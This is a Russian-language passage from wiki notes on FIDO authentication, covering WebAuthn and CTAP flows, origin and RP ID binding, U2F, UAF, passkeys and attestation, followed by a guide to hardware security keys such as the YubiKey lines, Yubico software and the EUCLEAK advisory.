(UV). Сервис заранее указывает, какой уровень проверки ему нужен. ```mermaid sequenceDiagram participant S as Сервер сервиса (RP) participant P as Страница participant C as Браузер и ОС participant A as Аутентификатор S->>P: вызов + параметры создания учётных данных P->>C: запросить создание через WebAuthn C->>C: проверить origin и допустимый RP ID C->>A: создать учётные данные (makeCredential) или внутренний вызов A->>A: UP/UV по политике, создать пару ключей A-->>C: идентификатор + открытый ключ + данные аттестации C-->>P: результат WebAuthn P-->>S: ответ регистрации S->>S: проверить вызов, адрес, хэш RP ID, флаги и политику аттестации S->>S: сохранить идентификатор и открытый ключ ``` ## Вход: что именно подписывается При входе сервер создаёт новый challenge и указывает, какие зарегистрированные ключи подходят. Клиентская платформа просит аутентификатор сформировать подписанный ответ. Такой ответ называется утверждением аутентификатора (assertion). Страница получает его через вызов WebAuthn `navigator.credentials.get()`, а внешний ключ получает CTAP-команду `authenticatorGetAssertion`. До подписи устройство находит сохранённый источник учётных данных и выполняет требуемое локальное подтверждение. Сервис может ограничиться физическим действием UP или потребовать проверку владельца UV. Биометрический шаблон и PIN при этом не уходят на сервер: сервер видит только флаги успешной проверки. ```mermaid sequenceDiagram participant S as Сервер сервиса (RP) participant P as Страница participant C as Браузер и ОС participant A as Аутентификатор S->>P: новый вызов + параметры входа P->>C: запросить вход через WebAuthn C->>A: получить утверждение (getAssertion) или внутренний вызов A->>A: найти запись, выполнить UP/UV A-->>C: данные аутентификатора + подпись + при наличии идентификатор пользователя C-->>P: данные клиента + утверждение P-->>S: ответ входа S->>S: проверить вызов, адрес, хэш RP ID, флаги и подпись ``` Аутентификатор подписывает не один challenge. Браузер собирает тип операции, challenge и origin в структуру клиентских данных `clientDataJSON`. Аутентификатор формирует вторую структуру `authenticatorData`: в ней находятся односторонне преобразованный RP ID, флаги UP/UV и счётчик подписей. Поле с результатом преобразования RP ID называется `rpIdHash`, а стандартный алгоритм SHA-256 выдаёт для него 256-битное значение. Формула утверждения выглядит так: ```text signature = Sign(privateKey, authenticatorData || SHA-256(clientDataJSON)) ``` Проще говоря: сервер задаёт одноразовую задачу, браузер фиксирует, с какой страницы она пришла, а аутентификатор привязывает ответ к RP ID. Сервер принимает вход только после проверки всех этих частей. ## Origin и RP ID: две границы доверия Адрес страницы и область ключа решают разные задачи. Origin включает схему, имя узла и порт, например `https://login.example.com:443`; его записывает браузер в `clientDataJSON`. RP ID содержит доменное имя без схемы и порта, например `example.com`; его хэш аутентификатор помещает в `authenticatorData`. Явный RP ID должен совпадать с эффективным доменом страницы или быть допустимым суффиксом регистрируемого домена. Поэтому страница `https://login.example.com` способна использовать RP ID `login.example.com` или `example.com`, но не `com` и не чужой домен. Сервер проверяет полный ожидаемый origin и `rpIdHash` независимо. Фишинговая страница на `gooogle-login.com` не может запросить учётные данные для RP ID настоящего Google. Даже если пользователь не заметил подмену, client platform ограничит область запроса, а настоящий сервер отвергнет origin или `rpIdHash`. Одноразовый код из SMS или приложения можно ввести на поддельной странице, после чего злоумышленник перенесёт его на настоящую. Вариант таких кодов, рассчитанный по времени, называют TOTP; этот механизм не связывает код с адресом страницы ([[SMS]]). > [!warning] Устойчивость к фишингу не равна полной защите аккаунта > Гарантия предполагает защищённое соединение HTTPS, корректную серверную проверку и доверенный код на origin сервиса. Внедрённый скрипт, который выполняется внутри страницы, слабое восстановление или сохранённый пароль дают атакующему другой путь. ## U2F (CTAP1): второй фактор **U2F** (Universal 2nd Factor, стандарт 2014 года) не отменяет пароль, а добавляет к нему подпись ключа: сначала обычный вход, потом «коснитесь ключа». Сервер передаёт токену идентификатор записи ключа, а реализация токена сама решает, хранить учётные данные внутри или упаковать их в этот идентификатор. В документации такой идентификатор называют key handle, или «дескриптором ключа». Поэтому некоторые U2F-ключи поддерживают очень много регистраций без отдельной записи на каждую, но стандарт не обещает безлимитность для любой модели. Счётчик подписей даёт серверу сигнал о возможном клонировании, а не безусловное доказательство. Полный разбор — в [[FIDO/u2f|отдельной заметке об U2F]]. ## UAF: беспарольная ветка, которая не взлетела Параллельно с U2F альянс выпустил **UAF** (Universal Authentication Framework) — беспарольный вход с локальной проверкой пользователя, нацеленный прежде всего на мобильные приложения. Встроенной частью массовой веб-платформы он не стал; позднее FIDO2 стандартизировал похожие пользовательские свойства через другую архитектуру — WebAuthn и CTAP2. Архитектура UAF, варианты внедрения и причины ограниченного распространения разобраны в [[FIDO/uaf|отдельной заметке об UAF]]. ## FIDO2: WebAuthn + CTAP2 **FIDO2** — название связки двух взаимодополняющих стандартов. **[[FIDO/webauthn|WebAuthn]]** задаёт интерфейс и проверяемые структуры между сервисом и клиентской платформой. **[[FIDO/ctap|CTAP2]]** задаёт команды и способы доставки между клиентской платформой и внешним аутентификатором. Сайт не отправляет CTAP-команды напрямую, а внешний ключ не общается с сервером по защищённому веб-соединению. Разделение позволяет одному сайту работать с разными аутентификаторами. WebAuthn-запрос может уйти во встроенное средство Windows Hello, датчик Touch ID или физический ключ. Сайт задаёт требования, клиентская платформа выбирает доступный путь, а сервер проверяет единый формат ответа. FIDO2 позволил аутентификатору самому найти запись по RP ID, даже если сайт не передал список идентификаторов. Пользователь благодаря этому выбирает учётную запись в системном окне, не вводя логин заранее. Такую запись называют обнаруживаемыми учётными данными (discoverable credential); при входе она может вернуть внутренний идентификатор пользователя в поле `userHandle`. Обнаруживаемая запись не обязана синхронизироваться, а локальная проверка владельца UV не обязана сопровождать каждую операцию. Способ поиска записи, место аутентификатора, проверка владельца и возможность резервной копии остаются отдельными свойствами. Для последнего свойства сервер получает два признака. Флаг возможности резервного копирования (Backup Eligibility, BE) показывает, разрешены ли копии для этой записи. Флаг текущего состояния копии (Backup State, BS) сообщает, существует ли такая копия сейчас. Эти признаки не раскрывают название облачного хранилища. | Вопрос | Возможные варианты | Что меняется | |---|---|---| | Где находится аутентификатор | встроенный / внешний | внутренний API ОС или CTAP-транспорт | | Как находят учётные данные | обнаруживаемые / необнаруживаемые | пустой `allowCredentials` или список идентификаторов | | Проверен ли человек | UP / UV | касание или локальный PIN/биометрия | | Можно ли сделать резервную копию | одно устройство / несколько устройств | флаги BE и BS, модель восстановления | Встроенный аутентификатор способен хранить запись без резервной копии, а внешний аутентификатор может оказаться телефоном с синхронизируемыми ключами доступа. Таблица не описывает четыре готовых типа устройств: она показывает четыре независимых решения. ## Passkeys: синхронизируемые и привязанные к железу Платформы дали обнаруживаемым учётным данным пользовательское название **passkey**, в русских интерфейсах «ключ доступа». Один ключ доступа можно защищённо копировать между устройствами пользователя; другой остаётся на одном аутентификаторе и не разрешает резервную копию. Второй вариант называют привязанным к устройству (device-bound). Телефон способен подтвердить вход на чужом компьютере, не перенося закрытый ключ на этот компьютер. Экран показывает QR-код с одноразовыми параметрами связи, а короткий радиосигнал Bluetooth подтверждает близость устройств. Такой путь называют гибридным транспортом (hybrid transport). Устройство хранилищ, механика синхронизации, плюсы, минусы и критика разобраны в [[FIDO/passkeys|отдельной заметке о passkeys]], а выбор отдельного ключа — в [[FIDO/hardware-security-keys|статье о физических ключах]]. ## Attestation: когда серверу важен тип аутентификатора При регистрации аутентификатор может вернуть отдельное свидетельство о происхождении и свойствах устройства. Сервер использует его, если хочет ограничить перечень допустимых моделей и проверить цепочку доверия производителя. Такое свидетельство называется **attestation**. Идентификатор типа аутентификатора называют AAGUID, но он сам по себе ничего не доказывает: сервер получает криптографическую гарантию только после проверки структуры свидетельства и подходящей цепочки доверия. Обычный сайт может запросить `attestation: "none"` и сохранить открытый ключ без знания модели. Такая проверка особенно нужна средам, где политика разрешает только определённые сертифицированные аутентификаторы. Прямую или корпоративную форму attestation применяют по отдельной политике. Самосвидетельство и `none` не подтверждают конкретную модель производителем. Attestation создаёт риск корреляции, поэтому потребительские схемы используют сертификаты одной партии или анонимизацию. Число 100 000 относится к рекомендациям и отдельным требованиям сертификации для свидетельств с сохранением приватности, а не к универсальному правилу каждого WebAuthn-аутентификатора. ## Что остаётся на сервере после отказа от пароля Сервер обязательно хранит credential ID, открытый ключ и связь с аккаунтом. Он также обычно сохраняет счётчик и последние признаки резервного копирования, если использует их в политике риска; WebAuthn рекомендует обновлять это состояние после успешной проверки. Утечка этих данных не позволяет создать валидную подпись без закрытого ключа, но может раскрыть имена пользователей, используемые аутентификаторы и другие метаданные. Поэтому формула «на сервере нечего красть» означает отсутствие секрета для входа, а не отсутствие чувствительных данных. Для каждого входа сервер обязан проверить тип операции, challenge, origin, `rpIdHash`, требуемые UP/UV-флаги и подпись. Счётчик может дать сигнал о клонировании, сбросе или гонке, но одно несоответствие не доказывает клон. После успешной проверки сервер обновляет сохранённое состояние учётной записи. ## 📚 См. также - [[FIDO/00-overview|Обзор раздела FIDO]] — оглавление всех заметок об аппаратных ключах - [[FIDO/fido-history|Что такое FIDO: альянс, стандарты и их история]] — кто и когда всё это создал - [[FIDO/u2f|U2F (Universal 2nd Factor)]] — первый стандарт семейства подробно: версии, механика, плюсы и минусы - [[FIDO/webauthn|WebAuthn]] — веб-половина FIDO2: API, церемонии, discoverable credentials - [[FIDO/ctap|CTAP]] — «железная» половина FIDO2: транспорты, PIN, версии протокола - [[FIDO/passkeys|Passkeys]] — беспарольный вход: синхронизация, гибридный транспорт, критика - [[FIDO/uaf|UAF]] — беспарольная ветка FIDO 1.0 и почему она не взлетела - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — железо: YubiKey, открытые ключи, чек-лист выбора - [[SMS]] — почему SMS-коды не защищают от фишинга - 🔗 [WebAuthn Level 3 (W3C Candidate Recommendation)](https://www.w3.org/TR/webauthn-3/) — текущая редакция веб-стандарта - 🔗 [CTAP 2.3 Proposed Standard (FIDO Alliance)](https://fidoalliance.org/specs/fido-v2.3-ps-20260226/fido-client-to-authenticator-protocol-v2.3-ps-20260226.html) — актуальная опубликованная версия протокола аутентификатора --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/FIDO/fido-protocols.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - security - 2fa - fido2 - passkeys - hardware aliases: - Физические ключи безопасности - Аппаратные ключи - YubiKey - FIDO2-ключи - Open-source security keys - Как выбрать ключ безопасности - YubiKey или Nitrokey - Резервный аппаратный ключ link: https://fidoalliance.org/specifications/ --- # 🔑 Физические ключи безопасности: YubiKey, открытые ключи и другие типы > [!info] О чём заметка > Что такое аппаратный ключ безопасности, как он защищает аккаунты от поддельных страниц, то есть фишинга, и перехвата кодов, чем устройства с открытым исходным кодом отличаются от закрытых, и как выбрать ключ под свои задачи. В заметке также разобраны дополнительные режимы, лимиты памяти, обновления и риски покупки. ## Что такое физический ключ и от чего он защищает Физический ключ безопасности — маленькое устройство, обычно в виде USB-брелка. При регистрации на сайте оно создаёт пару ключей: закрытый остаётся внутри корпуса и подписывает запросы, открытый уходит серверу и позволяет проверять подпись. Устройство с такой ролью называют аутентификатором (authenticator), а отдельный брелок — внешним аутентификатором (roaming authenticator). Для каждого входа сервер посылает свежую случайную задачу. В стандартах её называют challenge. Ключ подписывает задачу вместе с данными, которые привязывают ответ к сайту: браузер фиксирует точный адрес страницы (origin), а аутентификатор — доменную область сервиса (RP ID). Подписанный ответ называют assertion. Поэтому ответ, запрошенный на поддельном домене, не подходит настоящему сервису; полная схема challenge-response разобрана в [[FIDO/fido-protocols|заметке о протоколах FIDO]]. Эти правила входят в семейство открытых стандартов FIDO (Fast IDentity Online, «быстрая идентификация в сети»). В обычном сценарии ключ требует физического касания. Если сайт хочет проверить владельца, устройство дополнительно просит локальный цифровой код (PIN) или биометрию. Первый признак называют присутствием пользователя (User Presence, UP), второй — проверкой пользователя (User Verification, UV). Пароль можно подсмотреть, украсть из утёкшей базы или выманить фишингом, а SMS-код — перехватить или выпросить у жертвы ([[SMS]]). Аппаратный ключ убирает переносимый секрет из основного входа, но не мешает вредоносной программе использовать уже открытую сессию и не усиливает слабое восстановление аккаунта. ## Что находится внутри ключа Корпус и USB-разъём не определяют уровень защиты. Команды принимает программа внутри микроконтроллера; её называют прошивкой (firmware). Некоторые модели дополнительно используют отдельную микросхему, которая изолирует ключевой материал и выполняет защищённые операции. Это защищённый элемент (secure element), но сам логотип FIDO не гарантирует его наличие. Часть ключей умеет сама найти сохранённую запись по сайту и показать аккаунт без заранее введённого логина. Такую запись называют обнаруживаемыми учётными данными (discoverable credential); именно их количество производители указывают как вместимость ключей доступа. Другие регистрации не занимают такой слот, потому что сайт заранее передаёт ключу идентификатор нужной записи. Ключ подключается проводом USB или через бесконтактный канал NFC. Отдельные сценарии используют Bluetooth Low Energy (BLE), экономичный режим Bluetooth. Способ подключения доставляет команды, но не меняет криптографическую проверку. ```mermaid flowchart LR Host["Компьютер или телефон"] -->|"провод, бесконтактная связь
или Bluetooth"| FW["Прошивка
протоколы входа и подписи"] FW --> Keys["Ключевой материал
записи учётных данных"] FW --> UP["Присутствие пользователя
сенсор касания"] FW --> UV["Проверка пользователя
PIN или биометрия"] FW --> SE["Защищённый элемент
если модель его использует"] ``` Совместимость FIDO2 отвечает на вопрос «понимает ли устройство протокол». Отдельная сертификация проверяет дополнительные свойства защиты конкретной модели и версии. В каталоге её уровень называют Authenticator Security Level; обозначения L1, L2, L3 и L3+ соответствуют последовательно более строгим наборам требований. Логотип бренда не заменяет поиск точной модели в [каталоге FIDO Certified Products](https://fidoalliance.org/certification/fido-certified-products/). > [!important] От чего ключ НЕ защищает > Ключ подтверждает вход, но не лечит заражённую систему: если на компьютере троян, он может работать в уже открытой сессии. Ключ также не спасёт от восстановления доступа через слабый резервный канал — если к аккаунту привязана SMS-«запаска», атакующий пойдёт через неё. После привязки ключа отключайте слабые методы восстановления. ## Протоколы: что умеют ключи Базовой модели достаточно для входа на сайты. Старый вариант добавляет подпись ключа вторым шагом после пароля и называется U2F (Universal 2nd Factor, «универсальный второй фактор»). Современный FIDO2 также поддерживает вход без пароля. В нём страница обращается к браузеру через WebAuthn, а браузер или операционная система передаёт команды внешнему ключу по CTAP. Подробная механика этих протоколов разобрана в [[FIDO/fido-protocols|отдельной заметке]]. Более дорогие модели решают дополнительные задачи. Они могут хранить секреты для одноразовых кодов, которые меняются по времени или счётчику; семейство таких режимов обозначают OATH-TOTP/HOTP. Другие модели работают как корпоративная смарт-карта по стандарту PIV или хранят ключи шифрования и электронной подписи в формате OpenPGP. Фирменный режим Yubico OTP печатает одноразовый код как клавиатура. Именно этот дополнительный набор, а не качество FIDO-входа само по себе, часто объясняет разницу в цене. | Протокол | Что делает | Где встречается | |---|---|---| | **[[FIDO/u2f\|FIDO U2F]]** (CTAP1) | Второй фактор к паролю: сайт проверяет подпись токена после ввода пароля | Большинство FIDO2-ключей ради совместимости; существуют U2F-only и специализированные CTAP2-only устройства | | **FIDO2** ([[FIDO/webauthn\|WebAuthn]] + [[FIDO/ctap\|CTAP2]]) | Регистрация и вход с discoverable или non-discoverable credentials, опциональными PIN/биометрией | Модели с заявленной поддержкой CTAP2; наличие passkeys и лимит памяти проверяют отдельно | | **OATH-TOTP/HOTP** | Хранение секретов для одноразовых кодов (как Google Authenticator, но секреты — в железе) | YubiKey 5, Nitrokey 3, OnlyKey | | **PIV** (смарт-карта) | Корпоративный стандарт смарт-карт: вход в Windows/macOS, подпись документов, клиентские TLS-сертификаты | YubiKey 5, YubiKey Bio Multi-protocol, Nitrokey 3 | | **OpenPGP card** | Хранение GPG-ключей: подпись коммитов, шифрование почты, SSH-аутентификация через gpg-agent | YubiKey 5, Nitrokey 3, OnlyKey | | **Yubico OTP** | Фирменные одноразовые пароли Yubico: ключ «печатает» код как клавиатура | Только YubiKey | Обнаруживаемые учётные данные получили в интерфейсах название «ключи доступа», или passkeys. В физическом ключе такая запись обычно остаётся на одном аутентификаторе и не допускает резервной копии; в спецификациях это свойство называют single-device credential. Для выбора железа важен лимит памяти: YubiKey 5 с прошивкой 5.7.4+ хранит до 100 обнаруживаемых записей, Titan Security Key поколения 2023 года — более 250, Token2 PIN+ Release 2/3 — до 300. Nitrokey 3 вмещает примерно 30 в NFC-вариантах и около 100 в Mini, а Nitrokey Passkey — более 100. Все числа относятся к конкретным версиям производителя. ## YubiKey — ключи Yubico **Yubico** — шведско-американская компания, основанная в 2007 году; вместе с Google она разработала стандарт U2F и стала одним из первых массовых производителей аппаратных ключей для веб-аккаунтов. Название YubiKey часто используют в разговоре и для похожих устройств других марок, хотя их протоколы и возможности различаются. В каталоге Yubico похожие чёрные брелоки относятся к разным семействам. Разница скрывается не в цвете кнопки, а в доступных протоколах, наличии биометрии и сертификации. Поэтому выбирать лучше по задаче, а затем уже по разъёму и размеру корпуса. ### YubiKey 5 Series Для одного ключа, который нужен и для сайтов, и для старых корпоративных систем, Yubico выпускает [YubiKey 5 Series](https://www.yubico.com/products/yubikey-5-overview/). Это мультипротокольная линейка: один брелок поддерживает FIDO2 и U2F, корпоративную смарт-карту PIV, ключи OpenPGP, одноразовые коды OATH и фирменный Yubico OTP. ![[yubikey-5-series.png]] На фотографии показаны разные корпуса одной серии: с широким прямоугольным штекером USB-A, с небольшим симметричным USB-C, с NFC и модель 5Ci. У 5Ci два штекера: USB-C и разъём Apple для старых iPhone и iPad, который называется Lightning. Самые короткие корпуса почти не выступают из порта и рассчитаны на постоянную установку; Yubico обозначает их словом Nano. Набор каналов связи зависит от модели, но базовые криптографические приложения внутри YubiKey 5 Series совпадают. Если нужны только FIDO-входы на сайты, большая часть возможностей этой серии останется неиспользованной. ### YubiKey 5 FIPS Series Государственным учреждениям и регулируемым компаниям часто мало заявления производителя о защите микросхемы. Им нужна проверка криптографического модуля по формальной программе с опубликованным сертификатом. Американский стандарт такой проверки называется Федеральным стандартом обработки информации, или FIPS; актуальная версия для новых сертификаций — FIPS 140-3. [YubiKey 5 FIPS Series](https://www.yubico.com/products/yubikey-fips/) сохраняет набор протоколов обычной пятой серии, но поставляется в проверенной конфигурации для систем, где соответствие FIPS входит в требования закупки или аудита. Это не отдельный, «более сильный» вариант FIDO-протокола: главное отличие относится к аттестации криптографического модуля и правилам его эксплуатации. ![[yubikey-5-fips-series.png]] Линейка с прошивкой 5.7.4 получила [сертификат FIPS 140-3 № 5291](https://csrc.nist.gov/projects/cryptographic-module-validation-program/certificate/5291) в мае 2026 года: общий уровень модуля — 2, уровень физической защиты — 3. В серии есть USB-A, USB-C, NFC, Lightning и Nano-корпуса. Покупателю для регулируемой системы нужно сверять полное название модели, версию прошивки и номер сертификата, потому что похожий обычный YubiKey 5 не проходит эту проверку после пользовательской настройки. ### YubiKey Bio Series Обычный ключ подтверждает касание, а проверку владельца выполняет по цифровому коду. [YubiKey Bio Series](https://www.yubico.com/products/yubikey-bio-series/) добавляет датчик отпечатка: шаблон пальца хранится в защищённом элементе самого устройства, а сайт получает результат проверки пользователя, а не изображение отпечатка. Если палец не распознаётся, запасным способом остаётся FIDO2 PIN. ![[yubikey-bio-series.png]] Версия только для веб-протоколов называется YubiKey Bio FIDO Edition. Она работает с FIDO2/WebAuthn и U2F, выпускается с USB-A или USB-C и ориентирована прежде всего на настольные компьютеры; NFC у этих моделей нет. Корпоративная версия с дополнительным режимом смарт-карты называется Multi-protocol Edition: она добавляет PIV, в том числе вход в Windows по смарт-карте с отпечатком, но не превращает Bio в полный аналог YubiKey 5 со всеми режимами OATH и OpenPGP. Yubico предлагает крупным организациям подписку с централизованной поставкой, заменой и учётом ключей. Эта программа называется YubiKey as a Service; на август 2026 года Bio Multi-protocol Edition доступен через неё, а не как обычная розничная модель. ### Security Key Series Для защиты обычных веб-аккаунтов Yubico выпускает более узкую [Security Key Series](https://www.yubico.com/products/security-key/). Эти ключи понимают FIDO2/WebAuthn и U2F, подключаются через USB-A или USB-C и поддерживают NFC. Для регистрации и входа на совместимые сайты дополнительная программа не требуется. ![[security-key-series.png]] Security Key Series не поддерживает PIV, OpenPGP, OATH и Yubico OTP. Это ограничение не ослабляет криптографическую привязку FIDO-входа к домену сайта: при той же версии протокола базовая серия так же проверяет адрес сервиса и не отдаёт закрытый ключ. Переплачивать за YubiKey 5 имеет смысл тогда, когда нужен хотя бы один из дополнительных режимов. ### YubiHSM 2 и YubiHSM 2 FIPS Серверу тоже нужны закрытые ключи: ими центр сертификации подписывает сертификаты, система сборки подписывает программы, а база данных расшифровывает записи. Устройство, которое хранит такие ключи и выполняет криптографические операции внутри корпуса, называют аппаратным модулем безопасности. В документации используется сокращение HSM от hardware security module. [YubiHSM 2](https://www.yubico.com/products/hardware-security-module/) относится именно к серверным модулям, хотя размером похож на YubiKey Nano. Он не предназначен для касания при входе в Google или GitHub. Приложение отправляет модулю команду подписи или расшифрования, а закрытый ключ не покидает устройство. ![[yubihsm-2-series.png]] Чтобы серверная программа могла обращаться к модулям разных производителей через общий набор команд, используют стандартный программный интерфейс PKCS#11. YubiHSM 2 поддерживает его вместе с собственными библиотеками Yubico. Если модуль подключён к одному серверу, отдельная служба может передавать ему запросы приложений с других машин; Yubico называет эту службу YubiHSM Connector. Вариант YubiHSM 2 FIPS с прошивкой 2.4 получил в июне 2026 года [сертификат FIPS 140-3 № 5302](https://csrc.nist.gov/projects/cryptographic-module-validation-program/certificate/5302) с общим уровнем 3. Ни обычный YubiHSM 2, ни его FIPS-версия не настраиваются как персональный FIDO-ключ в Yubico Authenticator. ### Yubico Authenticator: что настраивает приложение При обычной регистрации и входе по FIDO браузер и операционная система общаются с YubiKey напрямую. Для просмотра и настройки содержимого ключа, а также для получения одноразовых кодов OATH Yubico выпускает отдельную программу с окнами и кнопками. Этот графический интерфейс управления называется [Yubico Authenticator](https://www.yubico.com/products/yubico-authenticator/); он не заменяет сам аппаратный ключ и не обязан постоянно работать в фоне. ![[yubico-authenticator-desktop.png]] На главном экране программа показывает подключённые ключи, версию прошивки и доступные режимы. Внутри YubiKey эти режимы разделены на самостоятельные функциональные области, которые Yubico называет приложениями: FIDO2, OATH, PIV, Yubico OTP и OpenPGP. Отдельная область хранит данные для входа администратора в серверный модуль YubiHSM 2; она называется YubiHSM Auth. У каждого приложения свои данные и настройки. Поэтому FIDO2 PIN, пароль OATH и PIV PIN не являются одним общим кодом, кроме специально оговорённых моделей вроде YubiKey Bio Multi-protocol Edition. Разделы программы соответствуют данным внутри выбранного ключа: - **«Аккаунты»** считывают показанный сервисом квадратный код регистрации, записывают его секрет OATH на YubiKey и затем показывают меняющиеся коды TOTP или HOTP. Секрет хранится на ключе, поэтому те же записи открываются в Yubico Authenticator на другом компьютере или телефоне после подключения этого YubiKey. - **«Ключи доступа»** позволяют установить или сменить FIDO2 PIN, увидеть сохранённые на устройстве passkeys и удалить ненужные записи. Для YubiKey Bio здесь же управляют отпечатками. - **«Сертификаты»** управляют областью PIV: её PIN, отдельным кодом разблокировки после исчерпания попыток PIN, управляющим ключом, закрытыми ключами и сертификатами. В документации код разблокировки обозначают PUK. Раздел появляется только у моделей с PIV. - **«Слоты»** настраивают два режима касания приложения Yubico OTP: короткое и долгое. В них можно записать Yubico OTP, статический пароль, ответ на криптографический запрос или счётчиковый код OATH-HOTP. - **«Переключить приложения»** включает и выключает отдельные режимы для USB или NFC. Отключение здесь меняет сам YubiKey, поэтому выбранный режим перестанет работать и в других программах на этом канале связи. YubiKey 5 может хранить и секреты для одноразовых кодов TOTP, и закрытые ключи для passkey, но эти два механизма защищают разные схемы входа. TOTP опирается на общий с сайтом секрет и переносимый цифровой код. Passkey оставляет закрытый ключ у пользователя и подписывает отдельную задачу конкретного домена. Удалённые способы кражи и обхода обеих схем разобраны в [[FIDO/passkeys#Чем TOTP отличается от passkey|сравнении TOTP и passkey]]. Набор пунктов зависит от модели, операционной системы и способа подключения. Security Key Series даёт приложению управлять только функциями FIDO2, а разделы OATH, PIV и Yubico OTP для неё недоступны. У YubiKey Bio FIDO Edition можно управлять FIDO2 PIN, ключами доступа и отпечатками. YubiKey 5 открывает разделы OATH, PIV и Yubico OTP. Yubico выпускает Authenticator для Windows, macOS, Linux, Android, iOS и iPadOS. Мобильные версии зависят от разъёма и возможностей NFC конкретного телефона; версия для iPhone и iPad поддерживает не все операции FIDO2, доступные на компьютере и Android. Перед установкой стоит сверить [таблицу совместимости Yubico Authenticator](https://docs.yubico.com/software/yubikey/tools/authenticator/auth-guide/ykauth-platforms.html) для своей модели и платформы. > [!danger] Сброс удаляет данные с ключа > Команда возврата к заводскому состоянию необратима. Сброс области FIDO2 удаляет PIN, отпечатки, passkeys и остальные регистрации FIDO2; сброс OATH удаляет секреты аккаунтов; сброс PIV удаляет закрытые ключи и сертификаты. У YubiKey Bio Multi-protocol Edition области FIDO2 и PIV используют общий PIN и связанные биометрические данные, поэтому их сброс затрагивает обе области и не выполняется по отдельности. На YubiKey 5 FIPS с прошивкой 5.7 и новее сброшенные приложения также теряют настроенное состояние, необходимое для работы в одобренном режиме FIPS. Сначала зарегистрируйте резервный ключ и проверьте коды восстановления. Сброшенный YubiKey придётся заново привязать к каждому затронутому сервису. ### YubiKey Manager и другие программы Yubico Yubico Authenticator закрывает повседневные задачи через кнопки, но часть административных настроек доступна только в терминале. В текстовом интерфейсе пользователь вводит команду и получает ответ без отдельного окна; такой способ управления называют интерфейсом командной строки, или CLI. Консольная программа Yubico называется [YubiKey Manager](https://www.yubico.com/support/download/yubikey-manager/), а её команда — `ykman`. YubiKey Manager работает в Windows, macOS и Linux со всеми поддерживаемыми моделями, но не добавляет устройству отсутствующих функций. Через `ykman` можно узнать модель, серийный номер и прошивку, настроить доступные на ключе области FIDO2, OTP и PIV, переключить режимы USB и NFC, а также выполнить расширенные операции с OATH, OpenPGP и YubiHSM Auth. Старую оконную версию YubiKey Manager компания сняла с поддержки 19 февраля 2026 года. Для работы мышью Yubico рекомендует Authenticator; название YubiKey Manager в актуальной документации означает консольный инструмент. На Android внешний аппаратный ключ должен появиться среди способов входа в системном окне выбора учётных данных. Компонент Android, который собирает в одном окне пароли и ключи доступа из разных программ, называется Credential Manager. [YubiKey Passkey Enabler](https://www.yubico.com/products/yubikey-passkey-enabler/) подключается к нему как поставщик ключей доступа и передаёт запрос FIDO2 физическому ключу через USB или NFC. Программа не копирует закрытые ключи в телефон и не заменяет Yubico Authenticator: Authenticator управляет записями и настройками, а Passkey Enabler участвует в регистрации и входе на сайтах и в приложениях. Passkey Enabler требует Android 14 или новее, совместимый FIDO2-ключ и программу или сайт с поддержкой WebAuthn. Yubico проверяет работу с YubiKey 5, YubiKey Bio и Security Key Series; ключи других производителей тоже могут работать, но компания не гарантирует полную совместимость. Для бесконтактного входа телефон и ключ должны поддерживать NFC, а через USB может понадобиться переходник. Вход в саму операционную систему отличается от входа на сайт, поэтому на странице загрузок собрано несколько сценариев. Карточка этого раздела называется Computer login tools. [Yubico Login for Windows](https://www.yubico.com/products/computer-login-tools/) добавляет YubiKey к паролю локальной учётной записи Windows 10 или 11 и требует ключ серии YubiKey 5. Он работает на компьютерах с архитектурой Intel или AMD, которую в документации обозначают x86; Windows на процессорах ARM не поддерживается. Перед установкой нужно записать точные имя пользователя и пароль: без них после ошибки настройки можно потерять вход в компьютер. Корпоративная учётная запись может управляться облачной службой идентификации Microsoft, которая называется Entra ID. Для такого входа Yubico Login for Windows не нужен: совместимые версии Windows используют YubiKey через встроенную поддержку беспарольного входа или PIV-смарт-карты. macOS также умеет привязывать PIV-сертификат на YubiKey к локальной учётной записи штатными средствами. Windows умеет видеть базовую PIV-смарт-карту без программы Yubico, но для выдачи сертификатов, управления PIN и дополнительных алгоритмов ей нужен небольшой драйвер-посредник. Microsoft называет такой компонент мини-драйвером; версия Yubico называется [YubiKey Smart Card Minidriver](https://www.yubico.com/support/download/smart-card-drivers-tools/). Для более глубокой работы есть отдельная консольная программа для Windows, macOS и Linux. Она создаёт закрытые ключи внутри YubiKey, импортирует ключи и сертификаты и формирует запросы на выдачу сертификата; Yubico называет её PIV Tool. Драйверы и PIV Tool полезны только моделям с приложением PIV. Security Key Series и YubiKey Bio FIDO Edition ограничены протоколами FIDO, поэтому превратить их в смарт-карту установкой драйвера нельзя. Прошивка YubiKey **закрыта и принципиально не обновляется**: Yubico считает, что невозможность перепрошивки — защита от подмены прошивки атакующим. Обратная сторона — найденную уязвимость нельзя закрыть на уже проданных ключах, только заменить ключ. Исследователи назвали EUCLEAK атаку по побочному каналу, которая при физическом доступе позволяет извлекать секреты из уязвимой криптографической библиотеки микроконтроллера. Для обычного удалённого взлома она не подходит, но показывает цену неизменяемой прошивки. > [!warning] EUCLEAK — показательный случай (сентябрь 2024) > YSA-2024-03 затрагивает YubiKey 5 и Security Key версий ранее 5.7.0, YubiKey Bio ранее 5.7.2 и YubiHSM 2 ранее 2.4.0; версии 5.7.0, 5.7.2 и 2.4.0 соответственно не затронуты. В предупреждении производителя также перечислены отдельные FIPS- и CSPN-линейки. Для атаки нужны физический доступ, знание целевого аккаунта и специализированное оборудование. Основной риск относится к FIDO, а PIV/OpenPGP затрагиваются при определённых алгоритмах. Уязвимость нельзя закрыть обновлением уже проданного YubiKey из-за неизменяемой прошивки; новые версии перешли на другую криптографическую библиотеку. ## «Открытые» ключи: open-source прошивки и железо > [!note] Не путать с «открытым ключом» из криптографии > В русской криптографической терминологии «открытый ключ» — это public key, открытая половина ключевой пары. Здесь же речь о другом: об аппаратных ключах с **открытым исходным кодом** (open-source) прошивки и/или схемотехники. В английском их называют open-source security keys. Зачем вообще открытость? Ключ — это чёрный ящик, которому вы доверяете самое ценное. У закрытого ключа приходится верить производителю на слово: что нет бэкдора, что генератор случайных чисел честный, что закрытые ключи действительно не извлекаются. Открытая прошивка позволяет проверить это независимым аудитом — или хотя бы знать, что проверка возможна. Плата за 